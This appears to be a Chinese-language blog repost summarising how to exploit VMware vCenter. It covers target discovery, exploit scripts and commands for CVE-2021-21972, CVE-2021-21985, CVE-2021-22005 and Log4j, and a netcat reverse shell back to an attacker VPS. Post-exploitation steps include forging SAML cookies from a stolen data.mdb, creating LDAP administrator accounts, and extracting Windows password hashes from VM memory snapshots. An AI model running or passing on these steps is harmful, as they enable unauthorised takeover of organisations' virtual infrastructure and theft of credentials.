原文链接:VMware vCenter漏洞实战利用总结
前言
Vcenter一般指VMware vCenter Server,其提供了一个可伸缩、可扩展的平台,为虚拟化管理奠定了基础,可集中管理VMware vSphere环境,与其他管理平台相比,极大地提高了IT管理员对虚拟环境的控制,Vcenter可以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户操作系统和其他关键组件等所有信息。
利用思路
实战思路
Vcenter人送外号小域控,Vcenter拿下之后,不单单只是获取一台服务器的权限【因为Vcenter的管理端中必然会有其他的虚拟机存在】,拿下Vcenter的价值不亚于域控的价值。
通过搜索语法查找公网Vcenter服务器,一般Vcenter开放的端口为5480,此外,使用工具获取网页title时,也可以发现Vcenter服务器。
- title="+ ID_VC_Welcome +"
复制代码
内网三要素,我是谁?我在哪?我要去哪?接下来就是翻找数据,伪造cookie或者创建用户操作获取web权限,获取windows机器的hash,或者直接进入虚拟机进行信息搜集,做专属的密码本,一些相关的敏感数据也是加分项,以便于后期的内网渗透,信息搜集做的好,漏洞绝对跑不了。
查看Vcenter版本
- /sdk/vimServiceVersions.xml
复制代码
漏洞利用
·Nuclei
工具介绍
Nuclei是一个快速的、基于模板的漏洞扫描程序,专注于广泛的可配置性、大规模的可扩展性和易用性,方便利用模板快速定位漏洞。
项目地址
https://github.com/projectdiscovery/nuclei
·CVE-2021-21972
使用脚本
https://github.com/NS-Sp4ce/CVE-2021-21972
命令
- python cve-2021-21972.py -url
复制代码
影响版本
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG
攻击脚本至少需要写120次,寻找真实的绝对路径,受网络问题影响较大,如果写入成功,就会直接回显shell地址。
确认漏洞
- 通过Nuclei获取存在漏洞的网站。
- Url中拼接/ui/vropspluginui/rest/services/uploadova,如果页面返回状态码为200、405,则可能存在漏洞。
·CVE-2021-21985
使用脚本
https://github.com/r0ckysec/CVE-2021-21985
命令
VPS
- java -jar JNDIInjection-Bypass.jar 1099 <vpsip> <监听port> # 使用脚本生成pyload
- nc -lvvp <监听port> # nc接收反弹shell
复制代码
攻击鸡
- python cve-2021-21985_exp.py <target> <rmi://ip/class>
复制代码
影响版本
VMware vCenter Server 7.0系列 < 7.0.U2b
VMware vCenter Server 6.7系列 < 6.7.U3n
VMware vCenter Server 6.5系列 < 6.5 U3p
VMware Cloud Foundation 4.x 系列 < 4.2.1
VMware Cloud Foundation 4.x 系列 < 3.10.2.1
确认漏洞
nuclei扫描
·CVE-2021-22005
使用脚本
https://github.com/shmilylty/cve-2021-22005-exp
命令
- exp.exe -t <target> -s <webshell>
复制代码
如果不指定-s的话,会上传默认的cmd.jsp,可以指定自己生成的马儿。
影响版本
VMware vCenter Server 7.0 VMware vCenter Server 6.7 Running On Virtual Appliance VMware Cloud Foundation (vCenter Server) 4.x VMware Cloud Foundation (vCenter Server) 3.x
确认漏洞
利用nuclei扫描
·Log4j
使用脚本
https://github.com/zzwlpx/JNDIExploit
命令
漏洞成因是Vcenter的SAML路由中,可以通过增加XFF头触发漏洞,把需要执行的命令跟在XFF后面。
SAML路由路径如下:
- /websso/SAML2/SSO/vsphere.local?SAMLRequest=
复制代码 Payload如下:
exp的内容需要通过上面给出的脚本JDNI注入工具完成。
- java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps_ip
复制代码 查看可执行的命令
- java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
复制代码
利用命令行反弹shell
利用命令行反弹shell的方式有两种,第一种是直接使用工具中自带的/ReverseShell/ip/port,但是这种方式不适合用于Vcenter,虽然可以反弹回shell,但是执行命令无法回显。这里选择使用以下命令反弹shell
- nc -e /bin/sh vps_ip port
复制代码
后续利用
获取web权限
·伪造cookie
使用脚本
https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py
命令
使用脚本时可能会报错,需要提前安装requirements.txt下的库
windows下安装python-ldap的方法:
下载对应python版本的python-ldap(cp310代表的是python3.10的版本)
项目地址
https://www.lfd.uci.edu/~gohlke/pythonlibs/# python-ldap
- pip install python_ldap-3.4.0-cp310-cp310-win_amd64.whl
复制代码
获取data.mdb
- windows:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb
- linux:/storage/db/vmware-vmdir/data.mdb
复制代码
从目标机器/storage/db/vmware-vmdir/的目录下下载data.mdb。
伪造cookie
目标机器内网ip需要本地可以访问到,否则无法伪造cookie。
- python vcenter_saml_login.py -t <目标机器内网ip> -p data.mdb
复制代码
使用cookie修改工具,修改cookie的值
修改完成之后,点击页面的启动
如果没成功,则代表需要设置hosts指定域名和ip的关系,清除浏览器缓存重新访问。
·LDAP创建管理员
使用脚本
文章
https://3gstudent.github.io/vSphere开发指南5-LDAP
脚本
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py
实战
将脚本上传之后,执行命令搜集相关信息,方便后续替换
- python update.py
- python update.py getadmin
- python update.py getuser
复制代码
根据收集到的信息修改脚本内容
使用下列命令adduser、addadmin
- python update.py adduser
- python update.py addadmin
复制代码
登录验证
·获取Vcenter后台windows机器权限
使用脚本
https://www.volatilityfoundation.org/releases
手法
利用伪造cookie或者LDAP创建管理员进入到后台,找到一台处于锁屏界面的windows主机,创建快照。
快照保存在相对应的数据库中,在相对应的数据库中下载vmem和vmsn这两个文件。
利用volatility查看Suggested Profile(s)
默认选择第一个(volatility默认推荐)
- volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem imageinfo
复制代码
列出注册表内容
- volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hivelist
复制代码
使用hashdump获取hash值
- volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a000478010
复制代码
还有一些其他的手法本文未提及,D大的可以自行研究下,提前祝大家周末愉快!
|